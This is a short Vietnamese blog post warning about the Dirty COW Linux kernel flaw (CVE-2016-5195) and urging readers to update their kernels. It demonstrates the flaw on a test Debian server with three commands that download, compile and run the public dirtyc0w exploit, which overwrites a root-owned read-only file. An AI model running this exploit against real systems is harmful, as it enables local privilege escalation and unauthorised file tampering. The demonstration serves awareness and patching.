Vừa qua, trong lúc soạn giáo trình cho khóa học Magento 2, mình có nhận được một cảnh báo về lỗi bảo mật mới trong các hệ điều hành Linux là lỗi CVE-2016-5195, hay còn được gọi là Dirty COW (mới được fix vào ngày 18/10/2016)

Dirty COW
COW nghĩa là copy-on-write, hình ảnh chỉ mang tính chất minh họa :)

Nó là lỗi trong Linux Kernel, cho phép một local user lấy được quyền của root user. Mình có thử nghiệm lại theo các hướng dẫn trên mạng và thấy trên server của mình cũng có dính lỗi này (local server Ubuntu và Debian) và theo như cảnh báo thì hầu hết các hệ điều hành Linux đều dính. Do đó những ai đang sử dụng server Linux thì nên cập nhật lại Kernel của server càng sớm càng tốt, còn nếu dùng shared hosting thì nên liên hệ với nhà cung cấp để đảm bảo website của mình được an toàn.

Một số trường hợp tấn công cụ thể các bạn có thể xem ở đây: https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

 

Sau đây là các bước mình thử nghiệm trên server ảo Debian 8, dùng một user thường thay đổi nội dung 1 file mà chỉ có quyền đọc.

- Đầu tiên ssh vào server với tài khoản root và tạo 1 file bất kỳ ví dụ root_file

Dirty COW hack 1
root_file chỉ root mới có quyền write, các user khác chỉ có quyền read

- Sau đó chuyển qua 1 tài khoản thường, ví dụ robin. Thử đọc file và ghi nội dung vào file

Dirty COW hack 2
File có nội dung là "readonly file"

- Dùng Dirty COW để thay đổi nội dung file 

$ curl -O https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w root_file "Hacked by Robin !!!"

- Và kết quả

Dirty COW hack 3

Dirty COW hack 4
Nội dung file bị sửa thành "Hacked by Robin"